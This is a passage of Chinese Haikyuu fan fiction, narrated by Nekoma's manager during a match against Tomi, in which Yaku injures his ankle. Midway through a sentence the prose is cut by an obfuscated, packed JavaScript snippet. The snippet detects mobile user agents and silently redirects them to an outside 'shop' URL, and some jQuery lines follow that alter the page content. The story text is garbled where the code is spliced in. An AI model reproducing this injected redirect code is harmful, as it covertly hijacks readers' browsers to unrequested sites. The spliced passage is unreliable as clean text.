比赛开场十分钟,我总算理解了黑尾前辈说的“狡诈到毫无底线”和“把每个动作都当成假动作来看待”到底是什么意思了。
扣球动作完成十之八九后改扣为吊,将声音控制在裁判听不到的范畴盯着容易上头的选手无差别挑衅嘲讽,什么“11号(灰羽)下一球一定会挥空”、“4号(山本前辈)打不出直线球没有直线球”之类的……的确非常狡诈。
除此之外,他们对裁判又是另一副面孔,语气谦和有礼,不小心打到我方选手会立刻九十度鞠躬道歉,也会在力所能及的地方帮裁判的忙,像在玩攻略游戏那样无所不用其极地狂刷好感……
“啊,”看着音驹的大家逐渐焦躁起来的氛围,我忽地想到些什么,顿悟般冒出个无意义的单音,“……是绿茶啊。”
表面上无辜无害心地善良,实则心思深沉、善于利用他人获利……这不就是户美吗?
之前都是网上刷到,我还是头一回在现实里遇到这样的人来着……甚至不只是一个人,而是一整个团体。
闻言,暂停休息时恰好站在我旁边擦汗的福永前辈沉默良久,默默朝我比出一个大拇指来,“天才。”
“谢谢……?”我不确定地回道。
那边,黑尾话说到也跟着看过来,思考两秒,觉得这个词意外合适,便当场改了说辞,“不是一直这样,那群人应该是最近才学了所谓绿茶的这种手段。”
讨巧、卖乖,总之让他们这群人看得非常窝火。
“但很有效,不是吗。”研磨语气冷淡,“现在在裁判眼里,百分百是觉得对面更好。”
尽管裁判客观公正,但有意无意的偏心是人类的本能。
真相模糊不清的情况下,人总是会偏心于自己更加喜欢的那一方的。
看着完美的压线跳发球因为被户美选手的身体遮挡导致裁判没看清楚、从而最终被判为界外球户美得分,我忍不住忍不住不自觉深深地吸了一口气——很不爽、非常不爽、特别不爽。
——总有一种一拳打在棉花上的无力感。
场上的选手的心情绝对比我更加窝火。
再度来回几个拉扯,焦躁的气氛愈演愈烈,原本状态至少能保持稳定的选手们彻底浮躁起来,山本前辈一掌将球扣出界外,比分再次落后两分,【19:21】。
“可恶——!”山本前辈咬紧了牙关,“非常抱歉!!”
“别在意,再接再厉!”黑尾这么朝他喊。
再一球。
灰羽和研磨双人拦网一触,排球被山本前辈鱼跃出去接起,却接球失误导致球远远向场外飞去。
就在我以为这一球会直接失分的时候,我看见追出去的夜久前辈。
望见他跨出防护栏将球接下传至对面场地,我一下子亮起眼睛。
——不愧是夜久前辈!
怀揣着对夜久接球水平的绝对信任,我视线便追着排球飞回户美的场地,看着它在户美的上空飞了几下重新回到音驹上空,被灰羽直接扣球得分,我心思却不在终于音驹终于拿下了非常漂亮的一分里,而是微微睁大了眼睛,望向对面刚刚夜久前辈跨出栏杆的地方。
连成一片的深蓝色防护栏斜着空出一块,我看见正咬紧牙关忍痛的、被山本前辈扶着才勉强走了几步的夜久前辈。
他正将头深深埋下去,阴影落在他脸上,我看不清他的神色,却无端感同身受般心头一震。
……发生什么了?夜久前辈明明不是第一次跨过防护栏扑出场外了、他不会做没底的事情才对,怎么回事,出什么意外了?是跨出去的时候踩到了什么东西摔了、还是为了接到球而没调整好落地姿势摔了?
有些慌乱的思绪一条一条在眼前闪过,我静不下心去思考什么,最初还勉强能顾忌着比赛时未参赛人员不得进入场内的规则而停在原地,余光瞥见已经冲上去的黑尾前辈时,我便再也顾不上什么,也跟着冲了过去。
“夜久前辈!”
……我察
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309438|198759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
觉到自己嗓音中隐隐可见的颤抖。
他应是落地时不小心踩到了路人的脚将脚扭到了,此时刚跟不小心踩到的观众道完歉,重新直起腰来,便重新转身,堪称急切地想要重回赛场,“我没关系……嘶!”
扭到的那只脚触地的一瞬间他便因脚踝的刺痛而站不住地踉跄着倒下来,我条件反射地伸手,却还是慢离他最近的山本前辈一步,眼睁睁看着他被山本前辈扶住。
手掌僵在半空,余光中,我瞥见自己不受控制地打起颤来的手指。
如果连走路都走不动了——那……夜久前辈怎么办?比赛怎么办?
夜久前辈是整个音驹接球水平最好的选手,接班的芝山还没成长起来、他还做不到完全接替夜久前辈的所有任务,我们本来就打得很艰难,比分也落后,如果夜久前辈没法继续需要换人上场的话……比赛怎么办?
——夜久前辈准备着努力了这么久的、我们所有人准备着努力了这么久的比赛……如果输了怎么办?
——这会是三年级最后一场比赛了……这如果是三年级的最后一场比赛的话,留下的不是只会有遗憾吗?
下意识退后两步,给跑过来准备将已经确定没法行走没法比赛的夜久前辈扶下场的犬冈和直井监督让位,我思绪还有些混乱,却猛地感觉有人伸手搭上了我的肩膀。
我条件反射地回头,望见黑尾难得凝重下来的神情,他脸色有些难看,声音却依旧是沉稳的,“冷静下来,小游。听着。”
“夜久不会愿意立刻离场去医院,他的伤需要先处理固定,去拿急救箱,你可以的。”
“别担心、也别想太多,相信大家。”
“——你可以的。”
他的话像一根定海神针一样镇压了我所有混乱的思绪,我深吸一口气,随即干脆应下,“明白!”
压下心中的一切担忧,我将视线从明显带着满腔不甘心的夜久前辈身上移开,重新回头奔现教练席后放置急救箱的地方。